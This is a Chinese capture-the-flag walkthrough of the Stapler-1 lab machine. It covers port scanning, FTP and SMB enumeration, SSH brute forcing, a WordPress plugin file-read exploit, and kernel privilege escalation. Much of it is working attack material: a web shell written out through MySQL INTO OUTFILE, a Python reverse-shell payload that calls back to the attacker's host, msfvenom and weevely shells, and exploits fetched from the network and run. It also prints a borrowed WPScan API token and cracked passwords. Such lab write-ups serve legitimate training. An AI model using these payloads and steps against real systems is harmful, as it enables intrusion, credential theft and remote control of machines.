信息收集
主机发现
sudo nmap -sn 192.168.23.0/24
发现主机IP:192.168.23.131
端口发现
sudo nmap -sS -p- --min-rate 10000 192.168.23.131
可以看到开放的端口和服务较多
21/tcp open ftp
22/tcp open ssh
53/tcp open domain
80/tcp open http
139/tcp open netbios-ssn
666/tcp open doom
3306/tcp open mysql
12380/tcp open unknown
详细信息
sudo nmap -sT -sV -A -O -p 21,22,53,139,666,3306,12380 192.168.23.131
信息如下
21 ftp vsftpd 2.0.8 or later
22 ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53 domain dnsmasq 2.75
139 netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
666 tcpwrapped
3306 mysql MySQL 5.7.12-0ubuntu1
OS Linux 3.10 - 4.11 (97%)
脚本扫描
sudo nmap --script=vuln 192.168.23.131
经过脚本扫描,80端口
存在Slowloris漏洞(CVE-2007-6750),可能导致拒绝服务(DoS)。
139端口
存在SMBv2漏洞(CVE-2009-3103)和注册服务DoS漏洞,可能导致RCE或服务崩溃。
漏洞发现
因为发现的端口较多,我们需要根据端口存在漏洞的可利用性进行逐一检查和发现
21端口
我们在前面的nmap
收集到信息可以知道,可以使用Anonymous
进行匿名登录。
ftp 192.168.23.131
输入Anonymous
和空密码,成功登录,看看存在什么可用文件
ls #查看存在文件,发现note
get note #下载文件
exit退出ftp,回到kali查看文件
cat note
没有什么有效信息,只能说可能存在两个用户名:Elly和John
139端口
139端口运行Samba
,可能存在有效信息,先枚举一下
enum4linux -a 192.168.23.131
枚举了不少东西,我们一个个提取有效信息:
(1)我们可以看到有两个共享的文件地址
//192.168.23.131/kathy Mapping: OK Listing: OK Writing: N/A
//192.168.23.131/tmp Mapping: OK Listing: OK Writing: N/A
使用smbclient
查看一下文件
smbclient -L //192.168.23.131
backup目录
kathy_stuff目录
很奇怪,可能因为权限原因,我无法将文件下载本地,只能先放下
(2)我们可以看到有许多用户名,保存下来,可能有用
先将所有用户名保存在一个.txt文件里
使用文本处理工具cut
将用户名筛选出来,放到一个新的文件:new_users.txt
sudo cat users.txt|cut -d '' -f2|cut -d '(' -f1 > new_users.txt
22端口(可getshell)
碰碰运气,用得到的用户名爆破一下,看看能不能成功登录
hydra -L new_users.txt -P new_users.txt 192.168.23.131 ssh
诶,意外惊喜,SHayslett
可以直接进行ssh远程登录,成功getshell,后面只需要提权就好了。虽然可以getshell,但还是看看其他端口能不能也成功getshell
web页面
80端口
查看web页面,但是回显404,有点奇怪啊。使用
dirb
跑一遍目录
dirb http://192.168.23.131:80/
发现有2个链接
打开看看,发现是下载文件,那我直接使用wget
命令下载文件到目录里面
# 需要使用root权限
wget http://192.168.23.131:80/.bashrc
wget http://192.168.23.131:80/.profile
看看文件内容,发现是配置脚本,没有发现什么有效信息,先放一边。
12380端口
我们看看12380端口
,这个也是http服务。发现这个是存在完整的网站搭建,还有可能突破边界。
常规操作,现扫一遍网站目录,看看有什么收获。(一开始用http协议
没有目录扫出,换成https协议
)
dirb https://192.168.23.130:12380/
扫描结果:
https://192.168.23.130:12380/phpmyadmin/
https://192.168.23.130:12380/robots.txt
https://192.168.23.130:12380/announcements/
https://192.168.23.130:12380/javascript/
https://192.168.23.130:12380/index.html
打开/phpmyadmin
,尝试了几个弱口令,但登录失败
看一下robots.txt
,存在两个路径:
/admin112233/
/blogblog/
看看/blogblog
,借助插件知道是wordpress内容管理系统
搜一下能不能扫描该CMS的漏洞,显示可以使用wpscan
,那开整。
因为要使用借口,所以需要我们登入wpscan官网注册,或者和我一样在网上找一个
wpscan --url https://192.168.1.24:12380/blogblog/ --api-token rXPAHHYlLrF3xr50aaaFKWdIsNckML8Oqhr7sCpdJqQ --disable-tls-checks
扫出了很多个漏洞,看的眼花
先看看存在目录穿越的路径吧
https://192.168.23.130:12380/blogblog/readme.html
https://192.168.23.130:12380/blogblog/wp-login.php?action=register
https://192.168.23.130:12380/blogblog/wp-content/uploads/
漏洞利用
方法一
/uploads路径
# 进入目录
Parent Directory -> plugins -> advanced-video-embed-embed-videos-or-playlists/
https://192.168.23.130:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/
这个路径有没有可能存在漏洞,浏览器搜索一下,发现确实存在漏洞:39646
回到bash,使用searchsploit
搜索漏洞
sudo searchsploit 39646 -m
ls
sudo vim 39646.py
要根据环境来修改POC,或者查看POC直接访问漏洞路径
# 漏洞路径
https://192.168.23.130:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php
再次访问回显路径
返回/upload
目录看看,多了一个图片
下载图片,查看内容
sudo wget --no-check-certificate https://192.168.23.130:12380/blogblog/wp-content/uploads/437217698.jpeg
cat 437217698.jpeg
得到数据库账户密码:root/plbkac
回到/phpmyadmin
登录账户
在库wordpress
下的wp_users
找到许多账户密码,将数据导出
然后根据格式,使用awk
整理用户名和密码格式(记得现创建一个users.txt文件)
sudo cat wp_users.sql | awk -F ', ''{print $2,$3}'|awk -F"'"'{print $2":"$4}'> users.txt
使用hash-identifier
查看加密方式
# 启动
hash-identifier
# 输入密文
$P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1
属于MD5加密
使用
john
解密
sudo john --wordlist=/usr/share/wordlists/rockyou.txt users.txt
找到WordPress后台,将破解出来的账户进行登录
账户/密码:John/incorrect
登录成功
来到后台,开始信息收集,发现了一个可以上传插件的功能点,也就是说,我们可以上传木马反弹shell
# 功能点位置
Plungins -> add New -> upload Plungin
现下载一个php木马到该文件夹
sudo cp /usr/share/webshells/php/php-reverse-shell.php .
然后根据自身环境进行修改(一般只需要修改ip和端口)
sudo vim php-reverse-shell.php
监听1234
端口
nc -lvvp 1234
上传文件,到/upload
路径下查看,然后点击文件
shell反弹成功
方法二
这个方法是基于数据库有写入权限,利用数据库写入脚本
select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.php"
可以看到/uploads
下多了一个shell.php
监听端口
nc -lvvp 8888
点击文件,执行命令
https://192.168.23.130:12380/blogblog/wp-content/uploads/shell.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.23.128%22,8888));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27
shell反弹成功
方法三
这个是利用文件上传
的功能点实现的,使用weevely
,这是一款基于python编写的webshell生成、管理工具。
实现步骤
# 1.生成指定路径带密码的php文件
sudo weevely generate passwd 3.php
# 2.上传3.php文件
# 3.连接php文件
weevely https://192.168.23.130:12380/blogblog/wp-content/uploads/3.php passwd
成功反弹shell
方法四
这个方法和上一个差不多我,也是利用文件上传
的功能点进行突破边界,获取shell的。区别主要是webshell工具的使用:webacoo
# 1.生成php文件
webacoo -g -o 4.php
# 2.上传4.php
# 3.连接4.php
webacoo -t -u https://192.168.23.130:12380/blogblog/wp-content/uploads/4.php
方法五
使用msf
生成php脚本,然后监听,反弹shell
//生成webshell
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.23.130 LPORT=4444 -f raw > ms.php
//监听
msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set LHOST 192.168.23.128
set LPORT 4444
run
方法六
这个办法是使用msf
,但是oscp考试是不允许使用的,我们当扩展一下。
前期的信息收集,139端口
是开放的,尝试使用msf直接获取他的root权限。
msfconsole
search Samba ---符合2017年的就几个
use exploit/linux/samba/is_known_pipename
set rhosts 192.168.23.130
set rport 139
run
shell反弹成功,查看为root权限,直接回到根目录查看flag.txt
方法七
这个方式就是一开始得到一批用户名,使用hydra
爆破22端口
,成功撞库,成功实现远程登录
提权
方法一
信息收集,查看系统内核信息
whoami
id
uname -a
在漏洞库查询符合的提权脚本:39772.txt
searchsploit Linux 4.4.X
下载到本地,查看文件发现提供的是方法,但文末给我们提供了exp下载地址
sudo searchsploit 39772 -m
cat 39772.txt
在靶机下载文件
# 进入/tmp
cd /tmp
# 下载exp
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
# 解压zip
unzip 39772.zip
# 进入39772目录
cd 39772
# 解压tar
tar xvf exploit.tar
# 进入ebpf_mapfd_doubleput_exploit/
cd ebpf_mapfd_doubleput_exploit/
# 运行./compile.sh
./compile.sh
# 执行doubleput
./doubleput
提权成功
方法二
查看/etc/passwd
cat /etc/passwd | grep "zsh"
除了root用户
还存在两个
看看/etc/groups
,发现sudo
属于Peter组
的用户列表。这意味着,我们peter
可能拥有root权限
cat /etc/groups
本来想用history
看看历史命令,看看有没有ssh登录的,但是命令不能使用
那我现在直接抓ssh
的
grep -rn "ssh"
找到两个用户
sshpass -p JZQuyIN5 peter@localhost
sshpass -p thisimypassword ssh JKanode@localhost
新开一个终端,使用ssh登录
# ssh登录
ssh [email protected] -t '/bin/bash'
输入密码:JZQuyIN5
# 查看当前用户被允许通过sudo执行的命令及其权限
sudo -l
提权成功
方法三
这个方法也是内核提权,操作与第一个方法类似,是利用ubantu内核提权
exp下载地址:
https://github.com/arthepsy/CVE-2021-4034.git
先下载到本地,然后通过python开通服务,下载到本地,跟上面操作一样,就不继续操作了,直接在展示
wget http://192.168.1.12:8002/cve-2021-4034poc.c
gcc cve-2021-4034-poc.c -o test
chmod +x test
./test
总结
这台靶机的突破边界路径大致分为三类:文件上传脚本反弹shell、ssh撞库成功登录、利用mysql写入木马实现远程命令执行。
而提权路径主要为:内核提权、sudo提权,然后看到一些wp是使用了写入计划任务的提权方法,感兴趣的可以去学习一下。
原文始发于微信公众号(泷羽Sec-Z1eaf):靶场历险记-stapler-1(全方面突破边界+提权)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论